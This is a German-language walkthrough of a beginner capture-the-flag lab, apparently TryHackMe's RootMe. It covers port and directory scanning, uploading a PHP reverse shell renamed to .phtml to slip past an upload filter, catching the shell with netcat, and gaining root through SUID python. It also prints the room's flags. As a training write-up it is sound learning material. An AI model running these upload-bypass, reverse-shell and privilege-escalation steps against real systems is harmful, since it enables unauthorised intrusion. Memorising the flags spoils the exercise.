Ein anfängerfreundliches CTF. Ja, heute mal abseits der Lernpfade 🙂
Task 1 Deploy the machine
Keine Fragen in diesem Task, nur die Machine starten! 🙂
Task 2 Reconnaissance
Frage 1:
Scan the machine, how many ports are open?
Um die Machine zu scannen benutzen wir nmap:
└─$ nmap DIE_MACHINE_IP
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 19:09 CEST
Nmap scan report for DIE_MACHINE_IP
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.32 seconds
Antwort 1:
2
Frage 2:
What version of Apache is running?
Auch hier können wir es erst mit nmap und dem „vuln“-Script versuchen. Das „vuln“-Script scannt nach Schwachstellen auf dem Ziel und zeigt uns auch diverse andere Infos an:
└─$ nmap DIE_MACHINE_IP --script=vuln
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 19:17 CEST
Nmap scan report for DIE_MACHINE_IP
Host is up (0.062s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 33.01 seconds
Antwort 2:
2.4.29
Frage 3:
What service is running on port 22?
Diese Antwort erhalten wir aus unserem ersten nmap Scan.
Antwort 3:
ssh
Frage 4:
Find directories on the web server using the GoBuster tool.
GoBuster wird benutzt, um nach Verzeichnissen auf einer Website zu scannen. Hierzu benötigt GoBuster aber eine Datei mit Beispielen. Zum Glück haben wir mit Kali einige sehr gute vorinstallierte Listen:
└─$ gobuster dir -u DIE_MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://DIE_MACHINE_IP
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/27 19:25:19 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 316] [--> http://DIE_MACHINE_IP/uploads/]
/css (Status: 301) [Size: 312] [--> http://DIE_MACHINE_IP/css/]
/js (Status: 301) [Size: 311] [--> http://DIE_MACHINE_IP/js/]
/panel (Status: 301) [Size: 314] [--> http://DIE_MACHINE_IP/panel/]
/server-status (Status: 403) [Size: 278]
===============================================================
2022/07/27 19:29:10 Finished
===============================================================
Die gefundenen Verzeichnisse sollten wir uns alle ansehen und gucken, was diese beinhalten. Oft beinhalten die Verzeichnisse/Dateien weitere Hinweise oder Möglichkeiten, um uns Zugriff zu verschaffen.
Antwort 4:
Keine Antwort benötigt.
Frage 5:
What is the hidden directory?
Antwort 5:
/panel/
Task 3 Getting a shell
Find a form to upload and get a reverse shell, and find the flag.
Unter http://DIE_MACHINE_IP/panel/ finden wir einen nette File-Upload-Service:

Hier können wir doch sicher etwas schönes hochladen! Doch zuerst brauchen wir Pentestmonkeys grandiose php-reverse-shell. Wir laden die Datei herunter und öffnen sie zunächst, denn wir müssen unsere IP Adresse und einen Port einfügen:
set_time_limit (0);
$VERSION = "1.0";
$ip = 'DEINE_THM_IP'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Anschließend speichern wir die Datei und laden sie hoch.
Nun, wir bekommen eine Fehlermeldung. Der Server erlaubt keinen Upload von .php Dateien. Viele Server blockieren gewisse Dateitypen, um sich vor Leuten wie uns zu schützen, doch es gibt auch Dateiendungen, die die Payload trotzdem ausführen lassen. Hier gibt es eine Liste alternativer Endungen für .php Dateien.
Wir ändern die Dateiendung also zu .phtml und versuchen es erneut:

Das sieht doch super aus? Ja, ganz sicher! 🙂 Wenn wir auf „Veja!“ klicken kommen wir auch direkt zu unserer Datei, wie praktisch! Aber halt! Vorher müssen wir noch einen netcat listener auf unserem Port starten, sonst passiert schließlich nichts:
└─$ nc -lvnp 1234
listening on [any] 1234 ...
Jetzt können wir auf „Veja!“ klicken. Die Seite hängt und wir haben Zugriff:
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [DEIN_THM_IP] from (UNKNOWN) [DIE_MACHINE_IP] 33844
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
18:00:13 up 54 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Frage 1:
user.txt
Da wir den Dateinamen bereits vorgegeben haben suchen wir doch einfach danach:
find . -name user.txt
Als Ergebnis bekommen wir den Pfad ausgegeben: ./var/www/user.txt
Lassen wir uns den Inhalt anzeigen:
$ cat ./var/www/user.txt
THM{y0u_g0t_a_sh3ll}
$
Antwort 1:
THM{y0u_g0t_a_sh3ll}
Task 4 Privilege escalation
Frage 1:
Search for files with SUID permission, which file is weird?
Damit wir alle Dateien mit SUID permission sehen benutzen wir folgenden Befehl:
find / -user root -perm /4000
Das Ergebnis ist viel zu lang, daher werde ich es hier nicht posten. Die richtige Lösung ist /usr/bin/python. Warum bekommt man bei Python die Rechte des Besitzers?
Antwort 1:
/usr/bin/python
Frage 2:
Find a form to escalate your privileges.
Da wir nun wissen, dass Python uns mehr Rechte gibt als uns zustehen, wollen wir das natürlich ausnutzen. Unsere erste Anlaufstelle ist hier GTFOBins und tatsächlich werden wir fündig:
$ whoami
www-data
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root
Antwort 2:
Keine Antwort benötigt.
Frage 3:
root.txt
Wir kennen den Dateinamen, also selbes Spiel wie vorhin:
find . -name root.txt
./root/root.txt
cat ./root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
Antwort 3:
THM{pr1v1l3g3_3sc4l4t10n}
Das war es auch schon, ein nettes kleines CTF für zwischendurch 🙂